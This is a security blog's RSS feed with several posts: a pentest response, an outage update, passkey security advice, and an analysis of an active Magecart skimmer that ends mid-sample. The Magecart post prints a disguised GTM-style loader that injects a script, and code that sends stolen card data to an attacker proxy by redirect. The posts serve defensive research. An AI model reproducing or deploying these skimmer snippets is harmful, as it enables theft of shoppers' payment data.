like the recommended 20 minutes is just too short. Going away from your desk for a coffee break and returning to find you&apos;ve been logged out just seems a little bit too aggressive for us.</p><p>Looking at the other suggested concerns, if you have malware running on your endpoint, or someone gains physical access to extract a session cookie, I feel like you probably have much bigger concerns to address too! Overall, I acknowledge the issue raised and we&apos;re currently thinking something in the 12-18 hours range might be better suited. </p><p></p><h4 id="insecure-tls-configuration">Insecure TLS Configuration
    </h4><p>You could argue that I know a thing or two about TLS configuration, heck, you can even attend my <a href="https://www.feistyduck.com/training/practical-tls-and-pki?ref=scotthelme.ghost.io" rel="noreferrer">training course</a> on it if you like! The issue that somebody like a pen tester coming in from the outside is that they&apos;re always going to lack the specific context on why we made the configuration choices we did, and I also recognise that it&apos;s very hard to give generic advice that fits all situations. </p><p>We have priority in our cipher suite list for all of the best cipher suites as some of the first choices, and we have support for the latest protocol versions too. We&apos;re doing so well in fact that we get an A grade on the SSL Labs test (<a href="https://www.ssllabs.com/ssltest/analyze.html?d=helios.report-uri.com&amp;ref=scotthelme.ghost.io" rel="noreferrer">results</a>):</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-5.png" class="kg-image" alt="Report URI Penetration Test 2025" loading="lazy" width="1284" height="671" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/12/image-5.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2025/12/image-5.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-5.png 1284w" sizes="(min-width: 720px) 720px"></figure><p></p><p>I&apos;m happy with where our current configuration is but as always, we will keep it in constant review as time goes by!</p><p></p><h4 id="no-account-lockout-or-timeout-mechanism">No Account Lockout or Timeout Mechanism
    </h4><p>This is a controversial topic and it&apos;s quite interesting to see it come up because we specifically cover this in the <a href="https://www.troyhunt.com/workshops/?ref=scotthelme.co.uk" rel="noreferrer">Hack Yourself First</a> workshop that I deliver alongside Troy Hunt! I absolutely recognise the goal that a mechanism like this would be trying to achieve, but I worry about the potential negative side-effects.</p><p>Using account enumeration it&apos;s often trivial to determine if someone has an account on our service, so you might be able to determine that [email protected] is indeed registered. You then may want to start guessing different passwords to try and log in to Troy&apos;s account, and there lies the problem. How many times should you be able to sit there and guess a password before something happens? An account lockout mechanism might work along the lines of saying &apos;after 5 unsuccessful login attempts we will lock the account and require a password reset&apos;, or perhaps say &apos;after 5 unsuccessful login attempts you will not be able to login again for 3 minutes&apos;. Both of these would stop the attacker from making significant progress, but both of them also present an opportunity to be abused by an attacker too. The attacker can now sit and make repeated login attempts to Troy&apos;s account and keep it in a perpetually locked state, denying him the use of his account, a Denial-of-Service attack (DoS)! It&apos;s for this reason I&apos;m generally not fond of these account lockout / account suspension mechanisms, they do provide an opportunity for abuse. </p><p>Instead, we rely on a different set of protections to try and limit the impact of attacks like these. </p><ol><li>We implement incredibly strict rate-liming on sensitive endpoints, including our authentication endpoints. This would slow an attacker down so the rate at which they could make guesses would be reduced. (This was disabled for the client IP addresses used by the tester)</li><li>We utilise Cloudflare&apos;s Bot Management across our application, which includes authentication flows, and if there is any reasonable suspicion that the client is a bot or in some way automated, they would be challenged. This prevents attackers from automating their attacks, ultimately slowing them down. (This was disabled for the client IP addresses used by the tester)</li><li>We have taken exceptional measures around password security. We require strong and complex passwords for our service, check for commonly used passwords against the Pwned Passwords API, use zxcvbn for strength testing, and more. This makes it highly unlikely that the password being guessed could be guessed easily, and you can read the full details on our password security measures <a href="https://scotthelme.co.uk/boosting-account-security-pwned-passwords-and-zxcvbn/?ref=scotthelme.ghost.io" rel="noreferrer">here</a>.</li><li>We support, and have a very high adoption of, 2FA across our service. This means that there&apos;s a very good chance that if the attacker was able to guess a password, the next prompt would be to input the TOTP code from the authenticator app!</li></ol><p>Given the above concerns around lockout mechanisms, and the additional measures we have in place, I continue to remain happy with our current position but we will always review these things on an ongoing basis. </p><p></p><h4 id="thats-a-wrap">That&apos;s a wrap!</h4><p>Given how much continued development we see in the product, and how much our infrastructure is evolving over time, I&apos;m really pleased to see that our continued efforts to maintain the security of our product, and ultimately our customer&apos;s data, has paid off. </p><p>As we look forward to 2026 our &quot;Development Horizon&quot; project board is loaded with cool new features and updates, so be sure to keep an eye out for the exciting new things we have coming!</p><p>If you want to download a copy of our report, the latest report is always available and linked in the <a href="https://report-uri.com/?ref=scotthelme.ghost.io#footer" rel="noreferrer">footer of our site</a>!</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Report URI - outage update]]></title>
                <description><![CDATA[<p>This is not a blog post that anybody ever wants to write, but we had some service issues yesterday and now the dust has settled, I wanted to provide an update on what happened. The good news is that the interruption was very minor in the end, and likely went</p>]]></description>
                <link>https://scotthelme.ghost.io/report-uri-outage-update/</link>
                <guid isPermaLink="false">691dee03d9c78000011bd122</guid>
                <category><![CDATA[Report URI]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Wed, 19 Nov 2025 21:24:19 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/report-uri-down.webp" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/report-uri-down.webp" alt="Report URI - outage update"><p>This is not a blog post that anybody ever wants to write, but we had some service issues yesterday and now the dust has settled, I wanted to provide an update on what happened. The good news is that the interruption was very minor in the end, and likely went unnoticed by most of our customers. </p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/report-uri---wide-1.png" class="kg-image" alt="Report URI - outage update" loading="lazy" width="974" height="141" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/11/report-uri---wide-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/report-uri---wide-1.png 974w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="what-happened">What happened?</h4><p>I&apos;m sure that many of you are already aware of the issues that Cloudflare experienced yesterday, and their post-mortem is now available <a href="https://blog.cloudflare.com/18-november-2025-outage/?ref=scotthelme.ghost.io" rel="noreferrer">on their blog</a>. It&apos;s always tough to have service issues, but as expected Cloudflare handled it well and were transparent throughout. As a customer of Cloudflare that uses many of their services, the Cloudflare outage unfortunately had an impact on our service too. Because of the unique way that our service operates, <strong><em>our subsequent service issues did not have any impact on the websites or operations of our customers</em></strong>. What we do have to recognise, though, is that we may have missed some telemetry events for a short period of time.</p><p></p><h4 id="our-infrastructure">Our infrastructure</h4><p>Because all of the telemetry events sent to us have to pass through Cloudflare first, when Cloudflare were experiencing their service issues, it did prevent telemetry from reaching our servers. If we take a look at the bandwidth for one of our many telemetry ingestion servers, we can clearly see the impact.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/ingestion-server.png" class="kg-image" alt="Report URI - outage update" loading="lazy" width="991" height="280" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/11/ingestion-server.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/ingestion-server.png 991w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Looking at the graph from the Cloudflare blog showing their 500 error levels, we have a near perfect alignment with us not receiving telemetry during their peak error rates.</p><p></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/image.png" class="kg-image" alt="Report URI - outage update" loading="lazy" width="1507" height="733" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/11/image.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2025/11/image.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/image.png 1507w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">source: Cloudflare</span></figcaption></figure><p></p><p>The good news here, as mentioned above, is that even if a browser can&apos;t reach our service and send the telemetry to us, it has no negative impact on our customer&apos;s websites, at all, as the browser will simply continue to load the page and try to send the telemetry again later. This is a truly unique scenario where we can have a near total service outage and it&apos;s unlikely that a single customer even noticed because we have no negative impact on their application.</p><p></p><h4 id="the-recovery">The recovery</h4><p>Cloudflare worked quickly to bring their service troubles under control and things started to return to normal for us around 14:30 UTC. We could see our ingestion servers start to receive telemetry again, and we started to receive much more than usual. Here&apos;s that same view for the server above.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/ingestion-server-2.png" class="kg-image" alt="Report URI - outage update" loading="lazy" width="997" height="285" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/11/ingestion-server-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/ingestion-server-2.png 997w" sizes="(min-width: 720px) 720px"></figure><p></p><p>If we take a look at the aggregate inbound telemetry for our whole service, we were comfortably receiving twice our usual volume of telemetry data.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/global-telemetry.png" class="kg-image" alt="Report URI - outage update" loading="lazy" width="994" height="282" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/11/global-telemetry.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/global-telemetry.png 994w" sizes="(min-width: 720px) 720px"></figure><p></p><p>This is a good thing and shows that the browsers that had previously tried to dispatch telemetry to us and had failed were now retrying and succeeding. We did keep a close eye on the impact that this level of load was having, and we managed it well, with the load tailing off to our normal levels overnight. Whilst this recovery was really good to see, we have to acknowledge that there will inevitably be telemetry that was dropped during this time, and it&apos;s difficult to accurately gauge how much. If the telemetry event was retried successfully by the browser, or the problem also existed either before or after this outage, we will have still processed the event and taken any necessary action. </p><p></p><h4 id="looking-forwards">Looking forwards</h4><p>I&apos;ve always talked openly about our infrastructure at Report URI, even blogging in detail about the issues we&apos;ve faced and the changes we&apos;ve made as a result, much as I am doing here. We depend on several other service providers to build our service, including Cloudflare for CDN/WAF, DigitalOcean for VPS/compute and Microsoft Azure for storage, but sometimes even the big players will have their own problems, just like AWS did recently too. </p><p>Looking back on this incident now, whilst it was a difficult process for us to go through, I believe we&apos;re still making the best choices for Report URI and our customers. The likelihood of us being able to build our own service that rivals the benefits that Cloudflare provides is zero, and looking at other service providers to migrate to seems like a knee-jerk overreaction. I&apos;m not looking for service providers that promise to never have issues, I&apos;m looking for service providers that will respond quickly and transparently when they inevitably do have an issue, and Cloudflare have demonstrated that again. It&apos;s also this same desire for transparency and honesty that has driven me to write this blog post to inform you that it is likely we missed some of your telemetry events yesterday, and that we continue to consider how we can improve our service further going forwards.</p><p></p>]]></content:encoded>
            </item>
        </channel>
    </rss>
    Raw text
    <?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Scott Helme]]></title><description><![CDATA[Hi, I'm Scott Helme, a Security Researcher, Entrepreneur and International Speaker. I'm the creator of Report URI and Security Headers, and I deliver world renowned training on Hacking and Encryption.]]></description><link>https://scotthelme.ghost.io/</link><image><url>https://scotthelme.ghost.io/favicon.png</url><title>Scott Helme</title><link>https://scotthelme.ghost.io/</link></image><generator>Ghost 6.34</generator><lastBuildDate>Mon, 27 Apr 2026 11:12:10 GMT</lastBuildDate><atom:link href="https://scotthelme.ghost.io/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Security considerations when using Passkeys on your website]]></title><description><![CDATA[<p>Passkeys are awesome and that&apos;s why we implemented them on Report URI! You can <a href="https://scotthelme.co.uk/launching-passkeys-support-on-report-uri/?ref=scotthelme.ghost.io" rel="noreferrer">read about our implementation here</a> and get the basics on how Passkeys work and why you want them. In this post, we&apos;re going to focus on what security considerations you should have</p>]]></description><link>https://scotthelme.ghost.io/security-considerations-when-using-passkeys-on-your-website/</link><guid isPermaLink="false">697a56f703d4840001b00ea1</guid><category><![CDATA[Report URI]]></category><category><![CDATA[Passkeys]]></category><category><![CDATA[XSS]]></category><category><![CDATA[CSP]]></category><category><![CDATA[Permissions Policy]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Wed, 22 Apr 2026 13:37:22 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/scott-blog-passkey-header.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/scott-blog-passkey-header.jpg" alt="Security considerations when using Passkeys on your website"><p>Passkeys are awesome and that&apos;s why we implemented them on Report URI! You can <a href="https://scotthelme.co.uk/launching-passkeys-support-on-report-uri/?ref=scotthelme.ghost.io" rel="noreferrer">read about our implementation here</a> and get the basics on how Passkeys work and why you want them. In this post, we&apos;re going to focus on what security considerations you should have once you start using Passkeys and we&apos;ve produced a whitepaper for you to take away that contains valuable information.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-2.png" class="kg-image" alt="Security considerations when using Passkeys on your website" loading="lazy" width="974" height="141" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/report-uri---wide-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-2.png 974w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h3 id="what-passkeys-actually-protect">What passkeys actually protect</h3><p>Passkeys are built on WebAuthn and use asymmetric cryptography, offering some incredibly strong protections. The user&#x2019;s device generates a key pair, the public key is registered with a service like <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>, and the private key remains protected on the device, often inside secure hardware like a TPM. During authentication, the server issues a challenge and the device signs it after &apos;user verification&apos;, typically biometrics or a PIN. This model gives passkeys some very strong security properties! </p><p>First, there is no shared secret for an attacker to steal from the server and replay elsewhere because only the public key is stored with the service. This means that Report URI isn&apos;t storing anything sensitive related to Passkeys.</p><p>Second, the credential is bound to the correct origin, which makes phishing dramatically less effective. The browser or other device that registered the Passkey knows exactly where it was registered, so a user can&apos;t be tricked into using it in the wrong place.</p><p>Third, each authentication is challenge-based, which prevents replay, so even if an attacker could capture an authentication flow, it couldn&apos;t be used again later.</p><p>Fourth and finally, the private key is not exposed to JavaScript running in the page! &#x1F389;</p><p>All of that is awesome and each point provides valuable protection. If your threat model includes password reuse, credential stuffing, password spraying, or fake login pages, then Passkeys are a direct and effective improvement.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/user-key-duotone-solid-1.png" class="kg-image" alt="Security considerations when using Passkeys on your website" loading="lazy" width="256" height="256"></figure><p></p><h3 id="where-the-threat-model-shifts">Where the threat model shifts</h3><p>What passkeys do not do is make the authenticated application trustworthy by default. Once the user has successfully authenticated, most applications establish a session using a cookie or token (probably a cookie). The Passkey is helping to solve the problem of reliably authenticating the user, but once that step is complete, we&apos;re still falling back to a traditional cookie! Strong passwords, 2FA, Passkeys, and everything else we do all still end up with a cookie(?!). </p><p>The question then remains &quot;Can the attacker abuse the authenticated state?&quot;, and this is where traditional attacks like XSS and CSRF remain a real threat. Let&apos;s look at a few examples of the kind of things that can go wrong:</p><p>The first is &quot;session hijacking&quot; (sometimes called &quot;session riding&quot;). If session tokens are accessible, XSS may steal them. Even if they are protected with <code>HttpOnly</code>, malicious code can still perform actions inside the victim&#x2019;s authenticated browser without needing to extract the cookie itself!</p><p>The second is malicious passkey registration. Let&apos;s be crystal clear, XSS cannot extract the victim&#x2019;s private key or forge WebAuthn responses, but it may still be used to manipulate the user into approving registration of a passkey in an attacker-controlled environment. That creates persistence without breaking WebAuthn itself.</p><p>The third is transaction manipulation. This is one of the clearest examples of the gap between strong authentication and trustworthy application behaviour. A user may authenticate securely with a Passkey, but malicious JavaScript can still alter transaction parameters in the page or intercept API requests before submission. The user thinks they approved one action, while the application processes another, and we had probably the best example ever of that with the <a href="https://www.bbc.co.uk/news/articles/c2kgndwwd7lo?ref=scotthelme.ghost.io" rel="noreferrer">ByBit hack that cost them $1.4 billion dollars</a>!</p><p>To clarify, none of these are Passkey failures, they&apos;re application failures, but a good example of the risks that remain.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/square-js-brands-solid.png" class="kg-image" alt="Security considerations when using Passkeys on your website" loading="lazy" width="256" height="256"></figure><p></p><h3 id="defence-in-depth">Defence in depth! </h3><p>Especially after deploying Passkeys, we should continue to maintain a strong focus on protecting against XSS (Cross-Site Scripting). We saw that yet again XSS was the <a href="https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2025-by-mitre-and-cisa/?ref=scotthelme.ghost.io" rel="noreferrer">#1 Top Threat of 2025</a>, so we still have a little way to go here, but nonetheless, there&apos;s a lot we can do! Tactics like context-aware output encoding, avoiding dangerous DOM sinks, validating and sanitising input, and using modern frameworks safely should all feature high on your list of protections. Finally, of course, is Content Security Policy. A strict CSP is one of the strongest controls available for reducing the exploitability of XSS and acts as your final line of defence before bad things happen. Blocking inline scripts, restricting script sources, and removing dangerous execution paths like <code>eval()</code>, all materially improve your resilience. CSP will not compensate for insecure code, and it isn&apos;t meant to, but it can significantly constrain what an attacker can do.</p><p>Following on from a robust CSP, we have Permissions Policy, which is often overlooked. In Passkeys-enabled applications, restricting access to <code>publickey-credentials-get</code> and <code>publickey-credentials-create</code> allows us to control access to WebAuthn API / Credential Management calls. Permissions Policy does not prevent injection, but it does reduce the capabilities available to injected code and helps enforce least privilege across pages and origins. A simple config might look like this delivered as a HTTP response header:</p><p></p><pre><code class="language-`">Permissions-Policy: publickey-credentials-create=(self), publickey-credentials-get=(self)</code></pre><p></p><p>Then there is security of the cookie itself. I wrote about this all the way back in 2017 in a blog post called <a href="https://scotthelme.co.uk/tough-cookies/?ref=scotthelme.ghost.io" rel="noreferrer">Tough Cookies</a>, but here&apos;s a quick summary for you. Session cookies should be <code>HttpOnly</code>, <code>Secure</code>, have an appropriate <code>SameSite</code> policy and use at least the <code>__Secure-</code> prefix (or <code>__Host-</code> prefix where possible).</p><p>Finally, sensitive actions need stronger guarantees than &#x201C;the user has an active session&#x201D;. High-risk operations such as transferring money, changing recovery settings, or managing credentials should require a fresh authentication challenge to ensure that the user is the one at the keyboard initiating the action.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/fort-sharp-duotone-solid.png" class="kg-image" alt="Security considerations when using Passkeys on your website" loading="lazy" width="256" height="256"></figure><p></p><h3 id="read-our-whitepaper">Read our whitepaper</h3><p>If you want more information to really understand the threats that exist in a Passkeys enabled environment, you can download a copy of our white paper that contains detailed information on the problem and the solutions. You can find the white paper on our Passkeys solutions page: <a href="https://report-uri.com/solutions/passkeys_protection?ref=scotthelme.ghost.io">https://report-uri.com/solutions/passkeys_protection</a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Fighting an active Magecart Campaign]]></title><description><![CDATA[<p>We&#x2019;ve been tracking an active Magecart campaign targeting ecommerce sites, with payloads customised per victim and evasion logic designed to stay hidden from site owners. We spotted it because we monitor what code actually executes in the browser, not just what a site is supposed to load. What</p>]]></description><link>https://scotthelme.ghost.io/fighting-an-active-magecart-campaign/</link><guid isPermaLink="false">69d3d19ad459c7000106a3c5</guid><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Mon, 13 Apr 2026 10:48:19 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/magecart-malware-investigation.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/magecart-malware-investigation.png" alt="Fighting an active Magecart Campaign"><p>We&#x2019;ve been tracking an active Magecart campaign targeting ecommerce sites, with payloads customised per victim and evasion logic designed to stay hidden from site owners. We spotted it because we monitor what code actually executes in the browser, not just what a site is supposed to load. What we found was a live payment skimmer injecting fake payment forms, stealing card data, and adapting its exfiltration flow when defensive controls got in the way.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-6.png" class="kg-image" alt="Fighting an active Magecart Campaign" loading="lazy" width="681" height="98" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-6.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-6.png 681w"></a></figure><p></p><h3 id="the-magecart-threat">The Magecart Threat</h3><p>If you&apos;re not familiar with Magecart, we have a <a href="https://report-uri.com/solutions/magecart_protection?ref=scotthelme.ghost.io" rel="noreferrer">dedicated solutions page</a> for it on the Report URI website where you can read more details, but here&apos;s the TLDR;</p><p><em>Attackers find a way to run malicious JavaScript in your site, then use it to steal payment data entered by your visitors.</em></p><p>It is one of the most dangerous forms of client-side compromise because it often leaves little visible trace for the site owner while quietly capturing highly sensitive information.</p><p></p><h3 id="the-initial-compromise">The initial compromise</h3><p>There are many ways that you may initially be compromised, from a traditional XSS attack through to a supply chain compromise, but really, it doesn&apos;t matter how they get their malicious JavaScript in, once the attackers have JS on your page, you have a big problem.</p><p>The recent attack we&apos;ve been tracking starts with this, a simple script injection in <code>&lt;head&gt;</code>, which I&apos;ve prettified here for you.</p><p></p><pre><code class="language-js ">  !function(e, a, n, t, o, r, c) {
        e.GoogleTagManagerLoaderScript = o;        // sets window.GoogleTagManagerLoaderScript = &quot;always&quot;
        r = a.createElement(t),                    // creates a &lt;script&gt; element
        c = a.getElementsByTagName(t)[0],          // finds first &lt;script&gt; in page
        r.async = 1,                               // async load
        r.src = e.atob(&quot;*snip base64*&quot;),           // decodes base64 URL &#x2192; script source
        c.parentNode.insertBefore(r, c)            // injects before first script tag
      }(window, document, 0, &quot;script&quot;, &quot;always&quot;);</code></pre><p></p><p></p><p>What makes this especially effective is how ordinary it looks. Anyone who has spent time inspecting the DOM will have seen almost this exact pattern before. It deliberately mimics the real GTM loader: the same argument structure, the same DOM insertion technique, and the same overall shape. The key difference is that instead of loading <code>gtm.js</code>, it base64-decodes a malicious URL at runtime and injects attacker-controlled JavaScript instead.</p><p>If you base64 decode the URL, it points to a new domain, registered for these attacks, and serves specific payloads on a per-target basis depending on the site name in the path component. Here&apos;s a screenshot of the malware payload:</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-5.png" class="kg-image" alt="Fighting an active Magecart Campaign" loading="lazy" width="1301" height="817" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-5.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/04/image-5.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-5.png 1301w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="targeted-attack">Targeted attack</h3><p>Because the payload is customised per target, it includes a number of more advanced behaviours:</p><p></p><p><strong>Admin detection</strong> - before running, the script uses various techniques to detect if the current site visitor is a WordPress, Magento, PrestaShop, or OpenCart administrator, and if they are, it silently exits. This is a deliberate evasion technique so that store owners who are testing their own site will not see any malicious behaviour.</p><p><strong>Anti-debugging</strong> - the script times a debugger statement using <code>performance.now()</code> and if the elapsed time exceeds the set threshold, indicating a debugger is attached, it sets a flag in <code>localStorage</code> and permanently disables the malware in that browser by setting the <code>already_checked</code> flag.</p><p><strong>Platform fingerprinting</strong> - the script identifies if the ecommerce platform in use is one of WooCommerce, Magento, OpenCart, or PrestaShop, and then applies the correct field selectors and event hooks for that specific platform.</p><p></p><p>This is not a generic opportunistic skimmer. It is a targeted and more capable malware payload designed to evade detection and adapt to the environment it lands in.</p><p></p><h3 id="skimmer-activation">Skimmer activation</h3><p>Once the skimmer is active on a checkout page, it injects a fake payment form into the page, styled to match the original payment form exactly. It will then hook all of the form inputs and select fields which are written to <code>localStorage</code> as the user interacts with them. The submission of the form is then intercepted and the stolen data is exfiltrated, both with a variety of methods depending on the platform being used. One way or another, the skimmer is going to try and grab the data and then exfiltrate it to the drop server controlled by the attackers! But it&apos;s this final part that caught my eye...</p><p></p><h3 id="the-csp-bypass">The CSP Bypass</h3><p>One detail stood out in the payload: the malware explicitly contained logic labelled as a &#x201C;CSP bypass&#x201D;. In reality, this was not a direct defeat of CSP enforcement so much as an adaptive theft technique. When direct exfiltration looked risky, the malware redirected the victim to attacker-controlled infrastructure with the stolen payment data embedded in the URL, then bounced them back to the legitimate site.</p><p></p><pre><code class="language-js">  if(_0x4bb993[&apos;enableCspBypass&apos;]&amp;&amp;_0x4bb993[&apos;cspProxyUrl&apos;]) {
        _0x2a3ee8()&amp;&amp;(console[&apos;log&apos;](&apos;[CSP BYPASS] Redirecting to proxy page...&apos;),console[&apos;log&apos;](&apos;[CSP\x20BYPASS]\x20Proxy\x20URL:&apos;,_0x4bb993[&apos;cspProxyUrl&apos;]),console[&apos;log&apos;](&apos;[CSP BYPASS] Data (base64):&apos;,_0xb0be14));
        localStorage[&apos;setItem&apos;](&apos;already_checked&apos;,&apos;1&apos;);
        const _0x210768=_0x4bb993[&apos;cspProxyUrl&apos;]+&apos;?data=&apos;+encodeURIComponent(_0xb0be14);
        window[&apos;location&apos;][&apos;href&apos;]=_0x210768;
        return;
      }</code></pre><p></p><p></p><p>In other words, the malware was adapting its exfiltration path when it detected an environment where CSP might make a more direct route less reliable. It captured the form submission, encoded the stolen payment data, and sent the victim through attacker infrastructure using <code>window.location.href</code>, with the data passed in the request before returning them to the real site.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-7.png" class="kg-image" alt="Fighting an active Magecart Campaign" loading="lazy" width="1212" height="237" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-7.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/04/image-7.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-7.png 1212w" sizes="(min-width: 720px) 720px"></figure><p></p><p>The attacker now has the stolen credit card data and the endpoint then redirects the user back to the correct page on the target site, making the process completely invisible to the user. Here&apos;s a payment I tried to submit using fake credit card details on the live site:</p><p></p><pre><code class="language-json">{
      &quot;domain&quot;:&quot;https://www.*snip*.com&quot;,
      &quot;data&quot; : {
        &quot;uagent&quot;:&quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36&quot;,
        &quot;card&quot;:&quot;4242424242424242&quot;,
        &quot;exp&quot;:&quot;03/27&quot;,
        &quot;cvv&quot;:&quot;144&quot;
      }
